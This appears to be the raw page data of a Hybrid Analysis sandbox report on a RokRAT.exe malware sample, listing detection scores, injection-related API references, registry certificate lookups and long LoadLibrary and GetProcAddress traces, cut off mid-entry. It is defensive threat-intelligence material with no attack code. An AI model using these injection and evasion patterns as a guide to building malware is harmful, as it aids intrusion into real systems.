24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 40:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T46b,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample e1546323dc74… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample e1546323dc74…. Malware family: Malware. Threat score 100/100. 24/27 AV engines flagged this file. 10 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd"],"about":{"@type":"SoftwareApplication","name":"RokRAT.exe","applicationCategory":["peexe","executable"],"identifier":"e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":24,"total":27},"behavioralIndicators":{"malicious":10,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T5ce,Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "RokRAT.exe") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "RokRAT.exe") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "RokRAT.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "RokRAT.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "RokRAT.exe") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp")26:T13b0,"RokRAT.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000001800000071efcddfd327f2732824fa00687d7876c8f2fa00e056f273b50ec3acfeffffffe4f1fa00a242f17388f1fa000000a97680f2fa00bb42f173e0dfd47508000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff340000000000000010f2fa00000000000800000000000000000000000000000000000000000000000000000069efcddf0000000050f2fa006992c275ffffffff3400000010f2fa0008000000000000000000a97680f2fa002794c27518f2fa000b0000000000000068f2fa00 (UID: 00000000-00002672) "RokRAT.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002672) "wscript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004360) "wscript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e02c6674ccf10505226ef57500002703000000002d6ef5756d384d052d000000ecb75c7450f20505b1ce9800e0d5130368831203050000008000000090f105050000110314f2050570c8f67559b8b375feffffff2d000000d0cc6b7427000000e4f10505856af7751c23fc7524f20505f85ff77508000000bb69f675b269f675853b4d052d000000ecb75c7427000000d0cc6b74f8f105052d000000d0cc6b742700000028f20505856af7751c23fc7570f205057e8a6a74ee8c6a74738a6a747457f0b62d000000ecb75c7427000000d0cc6b74dc262703702627037457f0b638f20505fc52a87424f30505e0846a743c5453c7feffffff738a6a74 (UID: 00000000-00004360) "wscript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000071db975a7ccd0f01000000000000727300000000f800727300000000c0cc0f0118000000b0cd0f01506abc7725e25c2cfeffffff24cd0f015985b977010000000000727300000000000000001ccd0f0140a714030000000000000000f800727300007201c0cd0f01bdc9ba77090000005a91bd7700007273feffffff40a714030000000000000000000000000000000058cd0f01 (UID: 00000000-00004360) "wscript.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004360) "wscript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000b9770000000001000000e8f67805fc862b742a003274fb8cb9770000000000000000fc862b74bcf778050000000000000000000000002a0032740900000038b91e0309000000fc862b74000000005005e273db763d00d327f273d02978050000000014fd7805e056f2737791b157feffffff78f77805da60f17328f778050540008000000000f360f173a4f7780500000000000000000000000000000000000000000000000001000000000000000100000000000000a0f7780500000000b0f7780500000000a4f7780500000000000000000000000000000000f3763d21bcf7780584dac075010000000de0e05ec0f77805dab9c0750000d973b4f77805 (UID: 00000000-00004360) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007960)27:T60f,Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "RokRAT.exe") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00004360.00000000.67175.00D89000.00000002.mdmp")28:T882,"wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")29:T4ed,"wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")2a:Tb57,"RokRAT.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002672) "RokRAT.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002672) "RokRAT.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002672) "RokRAT.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002672) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-sysinfo-l1-2-1 (UID: 00000000-00004360) "wscript.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00004360) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007960) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007960) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007960) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007960) "PING.EXE" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006644) "PING.EXE" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006644) "PING.EXE" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006644) "PING.EXE" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006644)2b:T7d06,"RokRAT.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00002672) "RokRAT.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00002672) "wscript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetTempPathA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetWindowsDirectoryW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter VerSetConditionMask (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter lstrcmpiA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter VerifyVersionInfoW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetComputerNameA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GlobalFree (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SetEndOfFile (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter FlushFileBuffers (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SetStdHandle (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter DeleteCriticalSection (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter HeapReAlloc (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter HeapSize (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter FindFirstFileExW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetOEMCP (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter IsValidCodePage (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter EnumSystemLocalesW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetUserDefaultLCID (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter IsValidLocale (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter ReadConsoleW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter SetFilePointerEx (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00004360) "wscript.exe" called "GetProcAddress" with a 